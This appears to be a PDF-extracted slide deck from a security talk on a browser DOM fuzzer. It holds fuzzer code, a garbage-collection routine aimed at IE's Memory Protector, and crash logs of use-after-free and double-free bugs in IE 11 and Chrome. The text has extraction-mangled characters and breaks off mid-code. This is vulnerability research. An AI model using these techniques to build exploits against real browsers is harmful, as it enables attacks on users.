Fuzz  -­‐>  Free  -­‐>  Use •  Freed  node  -­‐>  No  reference Traverse  Node •  Traverse – Save  references  (id[idex]) – DOM  operaTon  (document.all[index]) •  Node  references – Caching – Clearing  tree  node – Recursively  clearing  subtree – … Get  Property •  Dynamical  geong –  ProperTes –  FuncTons –  Events •  Caching •  for…in •  typeof Fuzz  Property •  Smart  values  -­‐>  SpecificaTon •  Random  values  -­‐>  No  dicTonary //  Set  normal  value if  (bNormalProp  &&  percent(demicm.PROP_NORMAL_PER))  {  if  (inArr(demicm.specialProps,  prop)  &&  getTagName(fuzzObj)  !=  'none')  {  var  rNormalVal  =  randItem(demicm[prop][getTagName(fuzzObj)]);  }  eval(fuzzObjStr  +  '["'  +  prop  +  '"]  =  rNormalVal;'); //  Set  random  value }  else  if  (percent(demicm.PROP_RANDOM_PER))  {  var  randValTable  =  {};  randPropfVal(rIds[1],  rIdRs[1],  'prop',  randValTable);  var  rVal  =  bNormalProp  ?  randValTable[demicm.propDic[prop].type]  : randValTable[typeof  fuzzObj[prop]]; Fuzz  FuncTon •  FuncTonal  programming  +  eval() console.log('var  retVal  =  '  +  logObjStr  +  '["'  +  func  +  '"]('  +  paramLogStr  +  ');'); eval('var  retVal  =  '  +  fuzzObjStr  +  '["'  +  func  +  '"]('  +  paramStr  +  ');'); Set  Environment •  HTMLElement  ProperTes funcLon  setEnv()  {  if  (percent(demicm.ENV_PER))  {  document.documentElement.contentEditable  =  'true';  }  if  (percent(demicm.ENV_PER))  {  document.documentElement.dir  =  'rtl';  }  … } DOM  Tree  Construct •  Base  DOM  tree – random  nodes – random  tree  generaTon  algorithm – for  loop – document.createElement – node.appendChild DOM  Tree  Construct •  Smarter  structure –  Form –  Table –  Map –  List –  Audio –  Video –  Svg •  Network –  XMLH>pRequest –  WebSocket Prelude •  TextNode •  Special  nodes –  Window –  Document –  A>ribute –  NamedNodeMap •  Group –  Range –  SelecTon –  NodeIterator –  TreeWalker Prelude •  MulTple  Pages – Iframe – Window.open – Recursively  nested  iframes – Renderer  process  <=>  Instance •  Web  Worker  &  SharedWorker – MulTple  threads Prelude •  Event  handler – “ATM” •  CSS – Pseudo-­‐classes  &  pseudo-­‐elements – Render  forest •  IniTal  properTes – Start  states Fuzzing •  DOM  Node –  ProperTes –  FuncTons –  Styles if  (percent(demicm.PROP_PER))  {  propfMan([rId],  'prop',  'node'); } if  (percent(demicm.FUNC_PER))  {  propfMan([rId],  'func',  'node'); } if  (percent(demicm.STYLE_PER))  {  styleMan(rId); } Fuzzing  recursively for  (var  p  in  fuzzObj)  {  if  (fuzzObj[p])  {  if  (percent(demicm.PROP_REC_PER))  {  propStack.push(p);  propfMan(recDepth  -­‐  1,  'prop',  objType);  recWide++;  }  if  (percent(demicm.FUNC_REC_PER))  {  propStack.push(p);  propfMan(recDepth  -­‐  1,  'func',  objType);  recWide++;  }  …. Fuzzing •  Return  value  -­‐>  Fuzzing  list •  Fuzzing  Values – Normal – Dirty – Random – Return •  Force  Layout – Node.offsetParent Fuzzing •  Clear  DOM  Sub  Tree –  innerHTML –  outerHTML –  innerText –  outerText •  Clear  whole  DOM  Tree –  write –  writeln –  open –  documentElement.innerHTML Fuzzing •  DOM  Tree  Modify – appendChild – insertBefore – insertAdjacentElement – insertAdjacentHTML – insertAdjacentText – removeChild – replaceChild – cloneNode Fuzzing •  Special  node  manipulate –  Crazy •  Group  manipulate –  execCommand •  MulTple  pages –  Mutual  manipulate –  Mutual  clear •  setTimeout –  Disrupt  the  Tme  sequence •  Garbage  Collect –  Force  IE  Memory  Protector  to  reclaim Fuzzing MemoryProtecLon::CMemoryProtector::ProtectedFree()  {  if  (  *((_DWORD  *)v6  +  2)  &&  (*((_DWORD  *)v6  +  1)  >=  0x186A0u  ||  *((_BYTE  *)v6  +  20))  )  {  MemoryProtecLon::CMemoryProtector::ReclaimUnmarkedBlocks();  } } gc  =  funcLon()  {  CollectGarbage();  arr  =  new  Array();  for  (var  i  =  0;  i  <  0x3f0;  i++)  {  arr[i]  =  document.createElement('a');  }  for  (var  i  =  0;  i  <  0x3f0;  i++)  {  arr[i]  =  "";  }  CollectGarbage(); } Finale •  GC •  Reuse  all  elements – ProperTes – FuncTons – Styles •  Reuse  group •  Reuse  special  nodes •  Reuse  funcTon  return  values DicTonary •  “Judge  a  dicTonary  by  its  accuracy  and completeness.” •  DicTonary  -­‐>  SpecificaTons •  SpecificaTons – Scripts  (or  grep  +  sed) – Manual Property  dicTonary demicm.propDic  =  {  direcLon:  {type:  'string',  normalVal:  ['right',  'leo'],  dirtyVal:  [],  readOnly:  false},  accessKey:  {type:  'string',  normalVal:  demicm.alpha,  dirtyVal:  [],  readOnly:  false},  dir:  {type:  'string',  normalVal:  ['ltr',  'rtl',  'auto'],  dirtyVal:  ['rtl'],  readOnly:  false},  bgColor:  {type:  'stringColor',  normalVal:  demicm.color,  dirtyVal:  [],  readOnly:  false},  aLink:  {type:  'stringColor',  normalVal:  demicm.color,  dirtyVal:  [],  readOnly:  false},  … } //  Some  prop  of  different  elem  with  different  meaning demicm.specialProps  =  ['type',  'name',  'src',  'rel']; demicm.type  =  {  source:  demicm.MIMETypes,  object:  demicm.MIMETypes,  a:  demicm.MIMETypes,  buron:  ['submit',  'buron',  'reset',  'menu'],  input:  demicm.inputTypes,  select:  ['select-­‐one',  'select-­‐mulLple'],  ol:  ['1',  'a',  'A',  'i',  'I'],  menu:  ['popup',  'toolbar'], }; FuncTon  dicTonary //  First  parameter  is  return  value demicm.funcDic  =  {  //  Canvas  toDataURL:  [  {type:  'string'},  {type:  'string',  normalVal:  ['image/png',  'image/jpeg'],  dirtyVal:  []},  {type:  'number',  normalVal:  demicm.normalNum,  dirtyVal:  demicm.dirtyNum},  ],  getContext:  [  {type:  'contextObj'},  {type:  'string',  normalVal:  ['2d',  'webgl'],  dirtyVal:  []},  ],  //  SVG  getSVGDocument:  [  {type:  'SVGDocument'},  ], Style  dicTonary demicm.styleDic  =  {  backgroundArachment:  ['scroll',  'fixed',  'inherit'],  backgroundClip:  ['border-­‐box',  'padding-­‐box',  'content-­‐box'],  backgroundColor:  [demicm.color,  'transparent',  'inherit'],  backgroundImage:  ['url('  +  demicm.URL  +  'demicmImg.gif)',  'none',  'inherit'],  backgroundOrigin:  ['padding-­‐box',  'border-­‐box',  'content-­‐box'],  backgroundPosiLonX:  [demicm.lengthUnit,  demicm.pct,  demicm.pos,  'inherit'],  backgroundPosiLonY:  [demicm.lengthUnit,  demicm.pct,  demicm.pos,  'inherit'],  backgroundRepeat:  ['repeat',  'repeat-­‐x',  'repeat-­‐y',  'no-­‐repeat',  'inherit'],  backgroundRepeatX:  ['repeat',  'no-­‐repeat',  'inherit'],  backgroundRepeatY:  ['repeat',  'no-­‐repeat',  'inherit'], Basic  dicTonary demicm.elemDic  =  {  a  :  'HTMLAnchorElement',  abbr  :  'HTMLElement',  address  :  'HTMLElement',  applet  :  'HTMLAppletElement',  area  :  'HTMLAreaElement',  arLcle  :  'HTMLElement',  …  //  Pseudo  tag  unknown  :  'HTMLUnknownElement',  document  :  'HTMLDocument',  Window  :  'Window',  NamedNodeMap  :  'NamedNodeMap',  arr  :  'Arr',  text  :  'Text',  documenvragment  :  'DocumentFragment',  … } Basic  dicTonary demicm.langs  =  [  'ab',  'aa',  'af',  'sq',  'am',  'ar',  'hy',  'as',  'ay',  'az',  'ba',  'eu',  'bn',  'dz',  'ji',  'yo',  'zu',  'bh',  'bi',  'br',  'bg',  'my',  'be',  'km',  'ca',  'zh',  'co',  'hr',  'cs',  'da',  'nl',  'en',  'eo',  'et',  'fo',  'fa',  'fa',  'x',  'fi',  'fr',  'fy',  'gl',  'gd',  'gv',  'ka',  'de',  'el',  'kl',  'gn',  'gu',  'ha',  'he',  'iw',  'hi',  'hu',  'is',  'id',  'in',  'ia',  'ie',  'iu',  'ik',  'ga',  'it',  'ja',  'jv',  'kn',  'ks',  'kk',  'rw',  'ky',  'rn',  'ko',  'ku',  'lo',  'la',  'lv',  'li',  'ln',  'lt',  'mk',  'mg',  'ms',  'ml',  'mt',  'mi',  'mr',  'mo',  'mn',  'na',  'ne',  'no',  'oc',  'or',  'om',  'ps',  'pl',  'pt',  'pa',  'qu',  'rm',  'ro',  'ru',  'sm',  'sg',  'sa',  'sr',  'sh',  'st',  'tn',  'sn',  'sd',  'si',  'ss',  'sk',  'sl',  'so',  'es',  'su',  'sw',  'sv',  'tl',  'tg',  'ta',  'r',  'te',  'th',  'bo',  'L',  'to',  'ts',  'tr',  'tk',  'tw',  'ug',  'uk',  'ur',  'uz',  'vi',  'vo',  'cy',  'wo',  'xh',  'yi' ]; demicm.charsets  =  [  'UTF-­‐8',  'ISO-­‐8859-­‐1',  'ISO-­‐8859-­‐2',  'ISO-­‐8859-­‐3',  'US_ASCII',  'ISO-­‐2022-­‐JP-­‐2',  'laLn-­‐greek',  'GBK',  'GB18030',  'UTF-­‐7',  'UTF-­‐16LE',  'UTF32BE',  'GB2312',  'Big5',  'IBM277',  'windows-­‐874' ]; Fuzzer  Resources Extensibility •  New  stuff – GeolocaTon – Client-­‐side  database – Canvas – Blobs – Speech  synthesis •  SpecificaTons  +  Smart  values  =  DicTonary •  New  features  is  valuable  J funcLon  fuzzNewObj()  {  var  args1  =  [value1,  value2];  var  args2  =  [value3,  value4];  switch  (rand(2))  {  case  0:  newObj.func1(randItem(args1),  randItem(args2));  break;  case  1:  newObj.func1(randStr,  randNum);  break;  } } Extensibility funcDic  =  {  ...  func1:  [  {type:  'boolean'},  {type:  'string',  normalVal:  [value1,  value2],  dirtyVal:  []},  {type:  'number',  normalVal:  [value3,  value4],  dirtyVal:  []},  ],  … } fuzzList.push(newObj); Let  StateFuzzer  Tell  How  to  Fuzz •  “Judge  a  fuzzer  by  its  results.” •  Vulnerability – UAF – Double  Free – OOB  Access •  Bug – Null  Pointer  Deference – Stack  Exhaust Event  Handle •  Idea –  Fuzzing:  rendering  engine  -­‐>  some  state –  Set  event  handler:  fuzzing  and  clear –  Fuzzing:  fire  event –  Kind  of  race  condiTon •  StateFuzzer –  CFlatMarkupPointer  UAF –  CInput  UAF –  CFrameSetSite  CTreeNode  UAF  (CVE-­‐2014-­‐1769) –  CCaret  Tracker  UAF –  CClipStack  OOB  Access  (CVE-­‐2014-­‐1773) ISSUE  #1 IE  11  Security  Bug (4a0.15f8):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=deadc0de  ebx=0cb78370  ecx=0317a0f8  edx=0317a13c esi=80004002  edi=0317a10c eip=660d95a9  esp=0317a0d8  ebp=0317a114  iopl=0  ov  up  ei  pl  nz na  po  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010a02 MSHTML!QIClassID+0x5c: 660d95a9  ff10  call  dword  ptr  [eax]  ds: 0023:deadc0de=???????? ISSUE  #2 IE  11  Security  Bug (17d8.1820):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=42424242  ebx=0520c4f8  ecx=42424242  edx=0520c394 esi=00000000  edi=42424242 eip=644ba4f5  esp=0520c32c  ebp=0520c3d4  iopl=0  nv  up  ei  pl  zr na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010246 MSHTML!CTreeNode::Parent: 644ba4f5  8b4104  mov  eax,dword  ptr  [ecx+4]  ds: 0023:42424246=???????? ISSUE  #3 IE  11  Security  Bug Breakpoint  2  hit eax=00000000  ebx=0905ff00  ecx=00000091  edx=00000090 esi=00000000  edi=00000000 eip=68719629  esp=034ba7c8  ebp=034ba818  iopl=0  nv  up ei  pl  zr  na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00000246 MSHTML! `CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dyna mic  atexit  destructor  for  'fieldDefaultValue''+0x188124: 68719629  8b03  mov  eax,dword  ptr  [ebx]  ds: 0023:0905ff00=dec0adde ISSUE  #4 IE  11  Security  Bug (2558.1dc):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=00000001  ebx=0cf9cf90  ecx=0cf9cf90  edx=000610e0 esi=1727efa8  edi=0cf9cf90 eip=65f3ee69  esp=05ec9414  ebp=05ec9458  iopl=0  nv  up  ei  pl  nz na  po  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010202 MSHTML!CCaretTracker::PosiTonCaretAt+0x22: 65f3ee69  8b4304  mov  eax,dword  ptr  [ebx+4]  ds: 0023:0cf9cf94=???????? ISSUE  #5 IE  11  Security  Bug (dd8.3c0):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=0ee1ef58  ebx=00000000  ecx=c0000000  edx=c0000000 esi=052cc420  edi=dcbabbbb eip=64673c55  esp=052cb620  ebp=052cb698  iopl=0  nv  up  ei  ng  nz na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010286 MSHTML!CDispSurface::CClipStack::PushClipRect+0xe7: 64673c55  8b4708  mov  eax,dword  ptr  [edi+8]  ds: 0023:dcbabbc3=???????? ISSUE  #6 IE  11  Security  Bug (e94.2560):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=0eaa0bd8  ebx=05647bd8  ecx=055db2d8  edx=055db290 esi=055db2d8  edi=0c333fd0 eip=64de046d  esp=055db258  ebp=055db268  iopl=0  nv  up  ei  pl  zr na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010246 MSHTML!CMarkupPointer::MoveToReference+0x1c: 64de046d  f60708  test  byte  ptr  [edi],8  ds: 0023:0c333fd0=?? Style  Manipulate Computer  Formats •  Idea – CSS •  StateFuzzer – CAnimatedCache  UAF – CTransientLookaside  UAF  (CVE-­‐2014-­‐2764) ISSUE  #7 IE  11  Security  Bug (2010.b6c):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=00000027  ebx=0eed8888  ecx=0cb0cec8  edx=66010e00 esi=1c8308f8  edi=6561e068 eip=655124ff  esp=0eed8604  ebp=0eed8604  iopl=0  nv  up  ei  pl  zr na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010246 MSHTML!CAnimatedCache::GetValueFromCache+0xd: 655124ff  8b0c81  mov  ecx,dword  ptr  [ecx+eax*4]  ds: 0023:0cb0cf64=???????? ISSUE  #8 IE  11  Security  Bug (}0.1978):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=00000000  ebx=00000000  ecx=12234f90  edx=00000000 esi=00000000  edi=12234f90 eip=6545ddfc  esp=0574a644  ebp=0574a64c  iopl=0  nv  up  ei  pl  nz na  po  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010202 MSHTML!CTransientLookaside::RemovePostponedTransiTon+0xc: 6545ddfc  8b4f48  mov  ecx,dword  ptr  [edi+48h]  ds: 0023:12234fd8=???????? Range,  SelecTon  and  Command •  Idea – Group  +  execCommand •  StateFuzzer – CTreePos  OOB  Access – CRemoveElementUndo  Double  Free ISSUE  #9 IE  11  Security  Bug (408.1560):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=00000000  ebx=02a8a588  ecx=42424242  edx=002f69b8 esi=0988b8d0  edi=00000019 eip=644c530c  esp=02a8a550  ebp=02a8a564  iopl=0  nv  up  ei  pl  nz na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010206 MSHTML!CMarkup::Doc+0xc: 644c530c  8b410c  mov  eax,dword  ptr  [ecx+0Ch]  ds: 0023:4242424e=???? ISSUE  #10 IE  11  Security  Bug (117c.844):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=00000000  ebx=080b9bd8  ecx=0c646fc8  edx=00000000 esi=0d766fa0  edi=0831d}0 eip=65aa7c99  esp=0571a310  ebp=0571a3b4  iopl=0  nv  up  ei  pl  nz na  po  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010202 MSHTML! `CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic  atexit destructor  for  'fieldDefaultValue''+0x6d113: 65aa7c99  8b01  mov  eax,dword  ptr  [ecx]  ds: 0023:0c646fc8=???????? Range  and  Style •  Idea – Range  +  style •  StateFuzzer – CDispContainer  UAF ISSUE  #11 IE  11  Security  Bug (27b0.2300):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=c78ac500  ebx=0d42cf98  ecx=08708f98  edx=0726a1b4 esi=06d48f98  edi=08708f98 eip=635d1a83  esp=05438670  ebp=05438738  iopl=0  nv  up  ei  pl  nz na  po  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010202 MSHTML!CDispNode::InsertSiblingNode+0x32: 635d1a83  8b4f1c  mov  ecx,dword  ptr  [edi+1Ch]  ds: 0023:08708}4=???????? DOM  Tree  and  Command •  Idea – DOM  tree  +  execCommand •  StateFuzzer – CBatchParentUndoUnit  Double  Free ISSUE  #12 IE  11  Security  Bug First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=00000001  ebx=11692ff0  ecx=0fa35fd8  edx=00000002 esi=054b8f64  edi=00000000 eip=652f5631  esp=054b8f48  ebp=054b8f74  iopl=0  nv  up  ei  pl  nz na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010206 MSHTML!CImplPtrAry::ReleaseAll+0x41: 652f5631  8b01  mov  eax,dword  ptr  [ecx]  ds: 0023:0fa35fd8=???????? DOM  Tree,  Style  and  Clear •  Idea – DOM  tree  +  style  +  clear •  StateFuzzer – COpTonElement  UAF ISSUE  #13 IE  11  Security  Bug (16d8.1d68):  Access  violaTon  -­‐  code  c0000005  (first  chance) First  chance  excepTons  are  reported  before  any  excepTon  handling. This  excepTon  may  be  expected  and  handled. eax=0305b778  ebx=0305ba28  ecx=42424242  edx=00000000 esi=42424242  edi=00000000 eip=65b20405  esp=0305b75c  ebp=0305b8a8  iopl=0  nv  up  ei  pl  nz na  pe  nc cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000 efl=00010206 MSHTML!CTreeNode::Parent: 65b20405  8b4104  mov  eax,dword  ptr  [ecx+4]  ds: 0023:42424246=???????? Event  Handle  and  Command •  Idea – Event  +  execCommand •  StateFuzzer – HTMLOpTonsCollecTon  UAF ISSUE  #14 Chrome  33  Security  Bug Caught  a  Read  Access  ViolaLon  in  process  11188  at  2014-­‐03-­‐30  09:08:20  with  a  crash  hash  of  26FC3609.74C960B2 Registers:  eax  =  0x24F09657  ebx  =  0x00000000  ecx  =  0x5796EF20  (RW-­‐)  edx  =  0x57805BA0  (RW-­‐)  esi  =  0x57805BCC  (RW-­‐)  edi  =  0x00000000  ebp  =  0x002EA56C  (RW-­‐)  esp  =  0x002EA550  (RW-­‐)  eip  =  0x5D46056F  (R-­‐X)  -­‐  chrome_child!WebCore::Node::removedLastRef Code:  0x5D46056F  -­‐  mov  edx,  [eax+28h]  0x5D460572  -­‐  push  1  0x5D460574  -­‐  call  edx  0x5D460576  -­‐  pop  esi  0x5D460577  -­‐  ret  0x5D460578  -­‐  push  ebp  0x5D460579  -­‐  mov  ebp,  esp  0x5D46057B  -­‐  and  esp,  -­‐8 Call  Stack:  0x5D46056F  -­‐  chrome_child!WebCore::Node::removedLastRef  0x5D4894D1  -­‐  chrome_child!WebCore::LiveNodeListBase::~LiveNodeListBase  0x5D48B5D1  -­‐  chrome_child!WebCore::HTMLOpLonsCollecLon::`scalar  deleLng  destructor'  0x5D585725  -­‐  chrome_child!WebCore::HTMLInputElement::hasValidDataListOpLons  0x5D8CDECA  -­‐  chrome_child!WebCore::TextFieldInputType::listArributeTargetChanged  0x5D586D10  -­‐  chrome_child!WebCore::HTMLInputElement::parseArribute  0x5D45CAE5  -­‐  chrome_child!WebCore::Element::arributeChanged  0x5D722E70  -­‐  chrome_child!WebCore::Element::cloneArributesFromElement  0x5D722E7B  -­‐  chrome_child!WebCore::Element::cloneDataFromElement  0x5D725705  -­‐  chrome_child!WebCore::Document::importNode ISSUE  #15 Chrome  34  Security  Bug Caught  a  Read  Access  ViolaLon  in  process  7892  at  2014-­‐04-­‐28  05:24:54  with  a  crash  hash  of  8DD1D3D5.D12F396B Registers:  eax  =  0x093E2FC0  (RW-­‐)  ebx  =  0x002AFA08  (RW-­‐)  ecx  =  0x093E2FC0  (RW-­‐)  edx  =  0x00000000  esi  =  0x055F4870  (RW-­‐)  edi  =  0x544F496C  ebp  =  0x002AF8D4  (RW-­‐)  esp  =  0x002AF8B0  (RW-­‐)  eip  =  0x66121AD1  (R-­‐X)  -­‐  chrome!TaskManagerModel::RemoveResource Code:  0x66121AD1  -­‐  mov  ecx,  [edi+4]  0x66121AD4  -­‐  mov  eax,  [edi]  0x66121AD6  -­‐  jmp  66121ae2h  0x66121AD8  -­‐  mov  edx,  [ebp+8]  0x66121ADB  -­‐  cmp  [eax],  edx  0x66121ADD  -­‐  jz  66121ae6h  0x66121ADF  -­‐  add  eax,  4  0x66121AE2  -­‐  cmp  eax,  ecx Call  Stack:  0x66121AD1  -­‐  chrome!TaskManagerModel::RemoveResource  0x661AF65D  -­‐  chrome!task_manager::WorkerResourceProvider::BrowserChildProcessHostDisconnected  0x65D6AF4C  -­‐  chrome!content::`anonymous  namespace'::NoLfyProcessHostDisconnected  0x65B1A369  -­‐  chrome!base::internal::Invoker<1,base::internal::BindState<base::internal::RunnableAdapter<void  *  (__cdecl*)(base::FilePath  const &)>,void  *  __cdecl(base::FilePath  const  &),void  __cdecl(base::FilePath)>,void  *  __cdecl(base::FilePath  const  &)>::Run ISSUE  #16 Chrome  36  Bug Caught  a  Read  Access  ViolaLon  in  process  2208  at  2014-­‐07-­‐23  13:49:59  with  a  crash  hash  of  95BCF056.D5DD4358 Registers:  eax  =  0x001BDCD0  (RW-­‐)  ebx  =  0x2EF00DC0  (RW-­‐)  ecx  =  0x00000344  edx  =  0x00000000  esi  =  0x2EF00DC0  (RW-­‐)  edi  =  0x00000344  ebp  =  0x001BDC94  (RW-­‐)  esp  =  0x001BDC80  (RW-­‐)  eip  =  0x62448549  (R-­‐X)  -­‐  chrome_child!WTF::HashTable Code:  0x62448549  -­‐  cmp  dword  ptr  [edi],  0  0x6244854C  -­‐  jnz  62448555h  0x6244854E  -­‐  push  0  0x62448550  -­‐  call  chrome_child!WTF::HashTable  0x62448555  -­‐  mov  ecx,  [ebp+0ch]  0x62448558  -­‐  xor  eax,  eax  0x6244855A  -­‐  mov  ebx,  [edi+4]  0x6244855D  -­‐  dec  ebx Call  Stack:  0x62448549  -­‐  chrome_child!WTF::HashTable  0x629716E6  -­‐  chrome_child!WebCore::Range::Range  0x62B2259C  -­‐  chrome_child!WebCore::VisibleSelecLon::firstRange  0x62A70E93  -­‐  chrome_child!WebCore::FrameSelecLon::respondToNodeModificaLon  0x626736CC  -­‐  chrome_child!WebCore::FrameSelecLon::nodeWillBeRemoved  0x62724F57  -­‐  chrome_child!WebCore::Document::nodeWillBeRemoved  0x62724C99  -­‐  chrome_child!WebCore::ContainerNode::willRemoveChild  0x62724AC0  -­‐  chrome_child!WebCore::ContainerNode::removeChild  0x62B2AE94  -­‐  chrome_child!WebCore::RemoveNodeCommand::doApply ISSUE  #17 Chrome  34  Bug Caught  a  Write  Access  ViolaLon  in  process  2856  at  2014-­‐05-­‐17  04:23:24  with  a  crash  hash  of  8EAE6D7E.2EB05FCC Registers:  eax  =  0x00000010  ebx  =  0x0000000C  ecx  =  0x0000000C  edx  =  0x651DB83B  (R-­‐X)  -­‐  chrome_child!blink::WebMediaPlayerClientImpl::videoDecodedByteCount  esi  =  0x00000010  edi  =  0x0000000C  ebp  =  0x002CEC38  (RW-­‐)  esp  =  0x002CEC24  (RW-­‐)  eip  =  0x773377A2  (R-­‐X)  -­‐  ntdll!RtlEnterCriLcalSecLon Code:  0x773377A2  -­‐  lock  btr  dword  ptr  [eax],  0  0x773377A7  -­‐  jnb  77345aa8h  0x773377AD  -­‐  mov  eax,  fs:[18h]  0x773377B3  -­‐  mov  ecx,  [eax+24h]  0x773377B6  -­‐  mov  [edi+0ch],  ecx  0x773377B9  -­‐  mov  dword  ptr  [edi+8],  1  0x773377C0  -­‐  pop  edi  0x773377C1  -­‐  xor  eax,  eax Call  Stack:  0x773377A2  -­‐  ntdll!RtlEnterCriLcalSecLon  0x643548A0  -­‐  chrome_child!base::internal::LockImpl::Lock  0x6577FA77  -­‐  chrome_child!media::Pipeline::GetStaLsLcs  0x653914ED  -­‐  chrome_child!content::WebMediaPlayerImpl::videoDecodedByteCount  0x64CB8397  -­‐  chrome_child!WebCore::HTMLMediaElementV8Internal::webkitVideoDecodedByteCountArributeGererCallback  0x6453377A  -­‐  chrome_child!v8::internal::PropertyCallbackArguments::Call  0x644EB930  -­‐  chrome_child!v8::internal::JSObject::GetPropertyWithCallback  0x644B5CE5  -­‐  chrome_child!v8::internal::Object::GetProperty ISSUE  #18 Chrome  35  Bug Caught  a  Stack  Overflow  in  process  2232  at  2014-­‐07-­‐08  08:37:05  with  a  crash  hash  of  8815714D.CE7CE246 Registers:  eax  =  0x664EBD1C  (R-­‐-­‐)  -­‐  chrome_child!WebCore::HTMLContentElement::`voable'  ebx  =  0x00000001  ecx  =  0x4386EE38  (RW-­‐)  edx  =  0x000A3090  (RW-­‐)  esi  =  0x4386EE38  (RW-­‐)  edi  =  0x43868330  (RW-­‐)  ebp  =  0x000A300C  (RW-­‐)  esp  =  0x000A2FFC  (RW-­‐)  eip  =  0x64CF3811  (R-­‐X)  -­‐  chrome_child!WebCore::InserLonPoint::detach Code:  0x64CF3811  -­‐  push  ebx  0x64CF3812  -­‐  push  esi  0x64CF3813  -­‐  mov  ebx,  ecx  0x64CF3815  -­‐  push  edi  0x64CF3816  -­‐  xor  edi,  edi  0x64CF3818  -­‐  cmp  [ebx+3ch],  edi  0x64CF381B  -­‐  jbe  64cf38b1h  0x64CF3821  -­‐  cmp  edi,  [ebx+3ch] Call  Stack:  0x64CF3811  -­‐  chrome_child!WebCore::InserLonPoint::detach  0x64AB5DD2  -­‐  chrome_child!WebCore::ElementShadow::detach  0x647F8CAF  -­‐  chrome_child!WebCore::Element::detach  0x64D52043  -­‐  chrome_child!WebCore::HTMLPlugInElement::detach  0x647F8CFC  -­‐  chrome_child!WebCore::ContainerNode::detach  0x647F8CB9  -­‐  chrome_child!WebCore::Element::detach  0x64D52043  -­‐  chrome_child!WebCore::HTMLPlugInElement::detach  0x647F8CFC  -­‐  chrome_child!WebCore::ContainerNode::detach  0x647F8CB9  -­‐  chrome_child!WebCore::Element::detach Acknowledge  Microso~ •  MS14-­‐035  (June  2014) •  MS14-­‐037  (July  2014) •  MS14-­‐051  (August  2014) Summary Fuzzing  =  Programming  +  SpecificaTon  reading  +  VulnerabiliTes’  characterisTc  collecTng  +  Ideas J   0days J  Javascript,  HTML,  CSS  and  programming L   Browser  &  Compiler L   Vulnerability  discovery  &  Security  intuiTon Browser  Security  Model •  知己知彼,百战不殆。 –  If  you  know  your  enemies  and  know  yourself, you  will  not  be  imperiled  in  a  hundred  ba>les. •  不知彼而知己,一胜一负。 –  If  you  do  not  know  your  enemies  but  do  know yourself,  you  will  win  one  and  lose  one. •  不知彼,不知己,每战必殆。 –  If  you  do  not  know  your  enemies  nor  yourself, you  will  be  imperiled  in  every  single  ba>le.  -­‐-­‐  孙子(Sun  Tzu) Browser  Exploit  and  MiTgaTon •  Two  exploit  miTgaTons –  ASLR –  DEP •  Turing  complete –  Reading –  WriTng –  ExecuTng •  DEP  -­‐>  Execute •  ASLR  bypass  -­‐>  Reading  &  WriTng HANDLE  __stdcall  RtlCreateHeap(ULONG  Flags,  PVOID  BaseAddress,  ULONG SizeToReserve,  ULONG  SizeToCommit,  PRTL_HEAP_DEFINITION  DefiniLon)  { RandFreeSize  =  (RtlpHeapGenerateRandomValue64()  &  0x1F)  <<  16; AllocaLonSize  =  SizeToReserve  +  RandFreeSize;  if  (  SizeToReserve  +  RandFreeSize  <  SizeToReserve  )  { AllocaLonSize  =  SizeToReserve; RandFreeSize  =  0;  }  if  (  NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,  &BaseAddress,  0,  &AllocaLonSize, MEM_RESERVE,  (v10  &  0x40000)  !=  0  ?  64  :  4)  <  0  )  {  return  0;  } HeapHandle  =  BaseAddress; SizeToReserve  =  AllocaLonSize;  if  (  RandFreeSize  &&  RtlpSecMemFreeVirtualMemory((HANDLE)0xFFFFFFFF, &BaseAddress,  &RandFreeSize,  0x8000u)  >=  0  )  { HeapHandle  =  (char  *)BaseAddress  +  RandFreeSize; SizeToReserve  =  AllocaLonSize  -­‐  RandFreeSize;  } } void  *__fastcall  RtlpAllocateHeap(int  hHeapArg,  unsigned  int  a2,  int  a3, ULONG  SizeToCommit,  int  